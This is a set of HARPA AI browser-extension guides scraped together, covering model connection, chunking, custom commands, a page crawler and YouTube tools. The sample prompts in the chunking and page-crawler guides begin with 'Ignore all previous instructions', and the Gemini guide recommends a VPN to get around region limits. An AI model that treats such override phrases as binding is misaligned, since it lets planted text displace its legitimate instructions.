![](https://harpa.ai/img/grid/wordpress-1-click-post-04.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Si tienes algún problema, contáctanos en: [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish#prueba-tu-automatizaci%C3%B3n-de-wordpress-con-1-clic) Prueba Tu Automatización de WordPress con 1 Clic ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Sugerimos configurar GPT-o3-mini, Claude 3.7 Sonnet o modelos similares como tu conexión predeterminada en HARPA, ya que estos modelos manejan eficazmente la generación de textos largos. ![](https://harpa.ai/img/grid/wordpress-1-click-post-05.webp) 1. Asegúrate de que tu escenario en Make.com u otra plataforma de automatización esté listo para recibir datos a través de Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-06.webp) 2. Encuentra el contenido que te gustaría usar como base para tu Entrada de Blog. Puede ser cualquier página web con texto o un video de YouTube. 3. Encuentra y ejecuta el Comando IA que configuramos - haz clic en **Iniciar**. La IA analizará el contenido, creará un esquema, luego escribirá una entrada de blog estructurada en el formato requerido y la enviará a través de Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-07.webp) 4. Ve a la sección de entradas donde encontrarás un nuevo borrador con tu publicación lista para ser publicada. ![](https://harpa.ai/img/grid/wordpress-1-click-post-08.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/zapier-wordpress-draft-generation-spanish) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-use-harpa-ai-italian) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Connecting to Google Gemini [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/link-01.svg) Connecting to Google Gemini =========================== OUTLINE NAVIGATE To connect HARPA AI to Google Gemini, follow these steps: 1. [Sign in](https://accounts.google.com/) to your personal Google Account. 2. Open HARPA AI on any website by clicking the HARPA AI icon in the top right corner or by pressing **Alt+A** (on Windows) or **^+A** (on Mac). 3. Locate the model toggle on the bottom left corner of the interface. Click on it, and a selection menu will appear, presenting you with various choices. 4. Switch the connection type to **Google Gemini** ### [\#](https://harpa.ai/blog/google-bard-connection#troubleshooting) Troubleshooting 1. If you received an “Oops… Google Gemini is not available in your region.” message, you might have to install a VPN service that allows you to select a supported country from [this list](https://support.google.com/gemini/answer/13575153?hl=en) . 2. If you have tried to connect with Google Gemini and your country is not available - you may consider using a free VPN service. For instance, Gemini functions seamlessly when connected to a US VPN through [Browsec VPN](https://chrome.google.com/webstore/detail/browsec-vpn-free-vpn-for/omghfjlpggmjjaagoclmmobgdodcjboh) . [\#](https://harpa.ai/blog/google-bard-connection#more-guides) More Guides --------------------------------------------------------------------------- * [Connecting to ChatGPT](https://harpa.ai/blog/chatgpt-web-session) * [Connecting to OpenAI API](https://harpa.ai/blog/how-to-get-an-openai-api-key) * [Connecting to GPTs](https://harpa.ai/blog/gpts-connection-in-harpa-ai) * [Connecting to Claude AI](https://harpa.ai/blog/claude-ai-connection) * [Connecting to OpenRouter](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/claude-ai-connection) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/gpts-connection-in-harpa-ai) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Chunking [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/editor/scissors-cut-02.svg) Chunking ======== CONTENTS NAVIGATE [\#](https://harpa.ai/guides/chunking#using-context-chunking) Using Context Chunking ------------------------------------------------------------------------------------- Large Language Models operate over a limited token window, e.g., 4096 tokens. It is often impractical or impossible to fit large documents, web pages and video transcripts into a single GPT request. Chunking is a technique that divides content of a web page or document into smaller parts, called chunks, ensuring each prompt fits within the GPT token limit. Chunks are injected into prompts as {{chunk}} parameter and processed by GPT one by one. Chunking does not possess inherent memory. Therefore, if you require context to be maintained across chunks, it must be incorporated within the prompt. ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Commands are easy to create and use. You do not need to have engineering knowledge to set up a custom AI command and boost your productivity. ### [\#](https://harpa.ai/guides/chunking#step-by-step-example) Step-by-step example Once you have HARPA AI installed, follow these steps to create and reuse custom GPT commands with the Chunking option: 1. To create a [custom command](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) , type **/** in HARPA AI chat and select the "**Create command**" option located at the top. ![](https://harpa.ai/img/guides/input-chunking-1.webp) 2. Let's develop a custom command that creates a summary of a lengthy Wikipedia article, including a TL;DR section at the beginning. Add the **GPT** step: ![](https://harpa.ai/img/guides/input-chunking-2.webp) Here is the prompt text: Ignore all previous instructions. I want you to only answer in {{language}}. Please extract the key takeaways from the following Wikipedia article. Provide a summary without echoing the text itself back to me. The summary should include a minimum of three bullet points and a 30 words TL;DR section at the beginning. Label each bullet point with a numbered emoji. Output format: ## TL;DR brief text summary ## Key Takeaways: 1️⃣ ..... 2️⃣ ..... 3️⃣ ..... TEXT: {{chunk}} Notice how we used **{{chunk}}** parameter in our prompt to reference a part of the **{{page}}**. 3. Click "**Slice to chunks**" button (✂️ scissors icon) and select what text should be sliced. Let's put **{{page}}** since our command is designed to process the current webpage. ![](https://harpa.ai/img/guides/input-chunking-3.webp) 4. Once you have added the chunk prompt and selected the text to slice, click the '**SAVE**' button to store your new command. 5. Your command will appear at the top, positioned above the pre-configured prompts, whenever you type the slash symbol **/** ![](https://harpa.ai/img/guides/input-chunking-4.webp) 6. Navigate to a Wiki webpage and try out your custom command. ![](https://harpa.ai/img/guides/input-chunking-5.webp) 7. HARPA AI combines (concatenates) GPT answers into a single parameter **{{gpt}}**. This way you can reference it in the following command steps. For example, you can condense the results of all segments into one summary. 8. Press the "**Edit**" button. ![](https://harpa.ai/img/guides/input-chunking-6.webp) 9. Add the **GPT** step: ![](https://harpa.ai/img/guides/input-chunking-7.webp) I would like you to analyze the text and write a TL;DR summary, followed by the 5 most important takeaways from the text. Begin with a TL;DR section that is 30 words long. Output format: ## Wiki Page TL;DR: brief text summary ## Key Takeaways: 1️⃣ ..... 2️⃣ ..... 3️⃣ ..... TEXT: {{gpt}} Summary: 10. Done! Now you have a ChatGPT command that dissects a large Wikipedia article into sections, summarizes them, and generates a concise summary that captures the main points from all segments. ![](https://harpa.ai/img/guides/input-chunking-8.webp) ### [\#](https://harpa.ai/guides/chunking#alternatives-to-chunking) Alternatives to Chunking You can use either **{{page}}** parameter as an alternative to chunking if you want to avoid running multiple GPT queries: **{{page}}** parameter will return the entire web page or document as is, and fit as much of it into the prompt as possible for processing, cutting off the tail. This works best if your GPT model has a large context window e.g. **gpt-3.5-turbo-16k**. [\#](https://harpa.ai/guides/chunking#use-cases) Use cases ----------------------------------------------------------- With chunking, you have the ability to process huge web pages and documents sequentially. This empowers you to effectively process and engage with large PDF documents, streamline your workflow and ensuring seamless handling of substantial textual content. Moreover, if you're dealing with a lengthy book that requires analysis or summarization, chunking can be employed to divide it into more manageable sections that can be processed individually by the large language model. [\#](https://harpa.ai/guides/chunking#links-for-further-reading) Links for further reading ------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/function-calling) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Editing Predefined Commands [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/media/sliders-02.svg) Editing Predefined Commands =========================== CONTENTS NAVIGATE With HARPA X and S plans, you can adjust preset AI commands to fit your exact needs, allowing you to personalize the command output as you wish. [\#](https://harpa.ai/guides/editing-pre-defined-commands#how-to-edit-commands) How to edit commands ----------------------------------------------------------------------------------------------------- 1. Open HARPA AI on any website by clicking the HARPA AI icon in the top right corner or by pressing **Alt+A** (on Windows) or **^+A** (on Mac). 2. Make sure you are [logged into HARPA AI](https://harpa.ai/account/settings) and activated the [HARPA X or S plan](https://harpa.ai/pricing) . 3. Type **/** in chat and hover over the command you wish to edit, e.g. TL;DR. 4. Click the **Duplicate and Edit** button. ![](https://harpa.ai/img/guides/editing-commands-1.webp) 5. You'll get all steps of selected command: ![](https://harpa.ai/img/guides/editing-commands-2.webp) 6. Select the corresponding GPT step and edit it by customizing the prompt instructions. ![](https://harpa.ai/img/guides/editing-commands-3.webp) 7. Let's reduce the number of key points to 4, ask GPT to start the summary with a one-sentence overview of the article, and use emojis for numbering the key points. ![](https://harpa.ai/img/guides/editing-commands-4.webp) 8. Changing default commands can help you understand prompting principles and build your own automation setups. You can change any steps, remove scenario branches, or add new ones. 9. Rename the command or keep it as is, then press Save. ![](https://harpa.ai/img/guides/editing-commands-5.webp) 10. The predefined command now has custom response instructions, and its output format is quite different from the original. ![](https://harpa.ai/img/guides/editing-commands-6.webp) [\#](https://harpa.ai/guides/editing-pre-defined-commands#how-to-revert-changes) How to revert changes ------------------------------------------------------------------------------------------------------- Don't worry about making mistakes; if you're not satisfied with the result, you can edit the command or delete it: * Deleting customized command brings back the original version, even if you didn't rename it. * If you need to check the default version of the predefined command, you can find it in "Archived" group. ![](https://harpa.ai/img/guides/editing-commands-7.webp) [\#](https://harpa.ai/guides/editing-pre-defined-commands#links-for-further-reading) Links for further reading --------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Billing Issues](https://harpa.ai/guides/billing-issues) * [Bug Reports](https://harpa.ai/guides/helpful-bug-reports) * [GPT Chunking](https://harpa.ai/guides/chunking) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [ChatGPT Search Assistant](https://harpa.ai/blog/ai-answers-alongside-google-search) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/harpa-premium-features) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/schedule-ai-commands) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Page Crawler [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/development/dataflow-04.svg) Page Crawler ============ CONTENTS NAVIGATE You can use HARPA AI as a **page crawlers** using one of the two approaches: 1. **Page fetching** - This approach is suitable for websites which are rendered "server-side", and doesn't require navigating to links to gather information. However, it may not work on JS-heavy client-side rendered websites and is not applicable to social networks and other platforms that restrict fetching capabilities. 2. **Navigate & Extract data** - This approach is versatile and allows you to extract data from any resource, such as processing a list of links sequentially through **LOOPs**. In this guide, we will discuss the first approach. You can find the description of the [NAVIGATE](https://harpa.ai/chatml/steps-navigate) step in the [AI Commands section](https://harpa.ai/chatml/overview) . Test and choose the approach that best suits your specific task. [\#](https://harpa.ai/guides/page-parameter-page-crawler#tl;dr:-page-fetching) TL;DR: Page fetching ---------------------------------------------------------------------------------------------------- The **{{page}}** parameter supports query, url and limit arguments. For example, **{{page Connect HARPA to OpenRouter https://harpa.ai limit=10%}}** will search for relevant information on **Connect HARPA to OpenRouter** query withing **https://harpa.ai** website, limiting output to 10% of the LLM token context window. Remember that the token limit includes both input and output. Therefore, try not to exceed a reasonable number of tokens in your input, for instance, 40%, to leave space for a prompt and a high-quality AI response. **{{page query url limit=x%}}** parameter options are: * **{{page url}}** - will retrieve the web page content from the specified URL. * **{{page query}}** - will scan the page content for text semantically similar to the given query and return that as a parameter value. * **{{page limit=500}}** or **{{page limit=10%}}** - specify a limit in tokens or percentage of the model context window, e.g. 10%. ### [\#](https://harpa.ai/guides/page-parameter-page-crawler#custom-command-example) Custom command example You can create your own **Customer Service Agent** that searches for information on a specific website and responds to user queries. 1. Open HARPA AI and type **/** in the chat. 2. Click on the **CREATE** button in the top right corner. ![](https://harpa.ai/img/guides/web-crawler-1.webp) 3. Add the **ASK** step that will request the user’s query to save it in a **{{query}}** parameter. ![](https://harpa.ai/img/guides/web-crawler-2.webp) 4. Add the **ASK** step that will request the **{{website}}**. ![](https://harpa.ai/img/guides/web-crawler-3.webp) 5. Use the **CALC: SET PARAMETER** step to create a new parameter with information from **{{serp {{query}} site:{{website}}}}**, named **{{data}}**. ![](https://harpa.ai/img/guides/web-crawler-4.webp) 6. Add the **CALC: EXTRACT SERP LINKS** step. This step will take the necessary information from the **{{data}}** parameter and form an array of data containing titles, URLs, and descriptions in an array called **{{links}}**. ![](https://harpa.ai/img/guides/web-crawler-5.webp) 7. Add the **GPT** step, in which you ask ChatGPT to respond to the user's question using information from the specified website via the **{{page query url limit=x%}}** parameter. The prompt might look like this: Please ignore all previous instructions. The output should be in {{language}}. As a Customer Service Agent and the keeper of the database for the website "{{website}}", I want you to create a detailed response to my query, adhering to a specific format I provide: - Use only the [INFORMATION] that I provide to you. - Do not use any other tools or sources. - Please integrate insights from the additional information into your response and ensure the inclusion of links in a markdown format: [[1]](URL). - Please avoid general phrases and unrelated words in your response to my question. - Do not fabricate facts or information. FOLLOW THE FORMAT: ## Customer Service Agent Response to "{{query}}" ... detailed response text with links, e.g., [[1]](URL). [USER QUESTION]: {{query}} [INFORMATION]: - {{links.0.title}} {{links.0.url}} {{links.0.description}} {{page {{query}} {{links.0.url}} limit=20%}} - {{links.1.title}} {{links.1.url}} {{links.1.description}} {{page {{query}} {{links.1.url}} limit=10%}} - {{links.2.title}} {{links.2.url}} {{links.2.description}} {{page {{query}} {{links.2.url}} limit=10%}} [Your detailed response to the user's query]: ![](https://harpa.ai/img/guides/web-crawler-6.webp) As a result, ChatGPT will receive information from the top 3 suitable pages: URL, Title, and description from the SERP, plus relevant data fetched directly from the website. ![](https://harpa.ai/img/guides/web-crawler-7.webp) By the way, such a command already exists in HARPA AI, and you can use it if you have any questions. Just type **/help** and select a command from the list. [\#](https://harpa.ai/guides/page-parameter-page-crawler#links-for-further-reading) Links for further reading -------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/using-flags) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/automation-features) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for YouTube [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/youtube.svg) ChatGPT for YouTube =================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-youtube#chatgpt-for-youtube)  ChatGPT for YouTube --------------------------------------------------------------------------------------- HARPA AI is a powerful Chrome Extension which integrates ChatGPT directly into YouTube. It can parse YouTube video transcripts, summarize, analyze them and extract key takeaways for quick navigation. This way you can save time watching long videos and get key takeaways quickly: ![](https://harpa.ai/img/cases/illustration-youtube.webp) HARPA AI is at the forefront of utilizing artificial intelligence to empower your YouTube experience. With the integration of ChatGPT for YouTube, HARPA brings you a suite of transformative tools designed to enhance your interaction with YouTube videos. Let's delve into these tools and how they can revolutionize your YouTube experience: ![](https://harpa.ai/img/apps/youtube.svg) YouTube video summary Save time on watching YouTube videos. Break down YouTube videos into parts and get key takeaways. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) Repurpose YouTube video Convert YouTube video to text content. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg)![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg) Video script writer Write a script for a video idea or topic. Best for YouTube, Instagram & TikTok. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube extract transcripts Extracts YouTube transcripts from every video on a page into a text file, parameter or a summary. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube extract comments Extracts YouTube comments from a video page. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube description generator Generate title, description and hashtags for a youtube video idea. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube polls generator Create an attention-grabbing YouTube poll for a video channel. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube audience analyzer Read transcript of a YouTube video and analyze its target audience. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg) YouTube channel analysis Extracts insights from YouTube videos to draw conclusion on channel audience and growth tips. [USE COMMAND](https://get.harpa.ai/) ### [##](https://harpa.ai/case/chatgpt-for-youtube#youtube-summaries:-extracting-key-takeaways)  YouTube Summaries: Extracting Key Takeaways If you are tired of wading through lengthy YouTube videos in search of the essential insights, try HARPA AI YouTube Summaries feature. It can break down any video into parts and extract key takeaways. This invaluable tool saves you precious time and allows for quick navigation through content. HARPA supports three types of YouTube summaries: * **Nested**: Nested summaries are the most detailed and provide a comprehensive overview of the video content. They are ideal for long videos and can be used to quickly navigate through the video. * **Long**: Long summaries extract key takeaways from the video and provide a detailed overview of the content. They are ideal for short and medium-length videos and can be used to quickly navigate through the video. * **Short**: Short summaries are more concise and provide a brief overview of the video content. They are ideal for longer videos and can be used to quickly navigate through the video. You can provide a custom summary format for HARPA AI to follow. You can also use HARPA AI to summarize YouTube videos in a variety of languages, including English, Spanish, French, German, Italian, Portuguese, Russian, and Chinese. ### [##](https://harpa.ai/case/chatgpt-for-youtube#use-case-scenarios)  Use Case Scenarios Here is an overview of what HARPA.AI ChatGPT commands for YouTube can do for you: * **Streamlining Video Script Creation**. Content creation often begins with a script, especially for platforms like YouTube, Instagram, and TikTok. Our video script generation tool simplifies this process, enabling you to effortlessly generate scripts for your video ideas. Say farewell to writer's block as you streamline your content creation process. * **Optimizing Social Media Reach with AI for YouTube**. In an era dominated by social media, hashtags play a pivotal role in content visibility. HARPA AI's AI for YouTube can create up to 30 relevant hashtags for your content, ensuring it reaches a broader audience and garners the attention it deserves. * **Transforming Videos into Text Content**. Repurposing video content into written form is a strategic move. Our YouTube video to text content conversion tool seamlessly accomplishes this task, allowing you to share your content across various platforms effectively. * **Effortless Content Metadata**. Crafting engaging titles, descriptions, and hashtags for your YouTube videos can be a daunting task. HARPA AI simplifies this process with its YouTube description and hashtag generator. Let AI handle the metadata, guaranteeing your video gets the visibility it merits. * **Engaging Your Audience with Polls**. Audience engagement is pivotal on YouTube, and our YouTube polls generator empowers you to create attention-grabbing polls for your video channel. Interact with your audience, gather insights, and enhance viewer engagement. * **Analyzing Your Target Audience**. Understanding your audience is fundamental for content creators. HARPA AI can read the transcript of your YouTube videos and provide valuable insights about your target audience, allowing you to tailor your content effectively. ### [##](https://harpa.ai/case/chatgpt-for-youtube#how-to-use-chatgpt-with-youtube)  How to Use ChatGPT with YouTube To use ChatGPT with YouTube, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the YouTube website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/youtube** to HARPA chat to bring a list of ChatGPT prompts for YouTube. ### [##](https://harpa.ai/case/chatgpt-for-youtube#connect-with-harpa-ai)  Connect with HARPA AI Your feedback, suggestions, and ideas are invaluable to us. If you have any questions or insights, please don't hesitate to reach out to us. At HARPA AI, we are committed to enhancing your YouTube experience and helping you succeed. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Best Free Article Summarizer & PDF Summarizer AI Tools: Summarize Articles, Web Pages & PDFs Fast [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) Best Free Article Summarizer & PDF Summarizer AI Tools: Summarize Articles, Web Pages & PDFs Fast ================================================================================================= OUTLINE NAVIGATE ![](https://harpa.ai/img/blog/free-article-and-pdf-summarizers-with-ai-1.webp) In today's fast-paced world, a reliable **free article summarizer**, **PDF summarizer free**, or **website summary AI** can save hours of reading. Whether you're a digital marketer like Sarah scanning competitor content, an academic researcher like Jordan processing lengthy papers, or a freelance copywriter like Mike reviewing sources, these tools distill key insights from articles, web pages, PDFs, and more. Research shows numerous options exist, with browser extensions like **HARPA AI** standing out for seamless integration on any webpage—summarizing YouTube videos, web pages, and PDFs directly in your browser. Top picks include QuillBot for text, Noiz for unlimited PDFs, and HARPA AI's robust free tier, which outshines competitors' restrictive plans like Bardeen (100 credits/month) or Monica (40 daily accesses). Dive in to find the **best article summarizer** for your needs and **summarize long articles** or **web pages** effortlessly. [\#](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai#why-use-a-free-article-summarizer,-pdf-summarizer-or-website-summary-ai?) Why Use a Free Article Summarizer, PDF Summarizer or Website Summary AI? 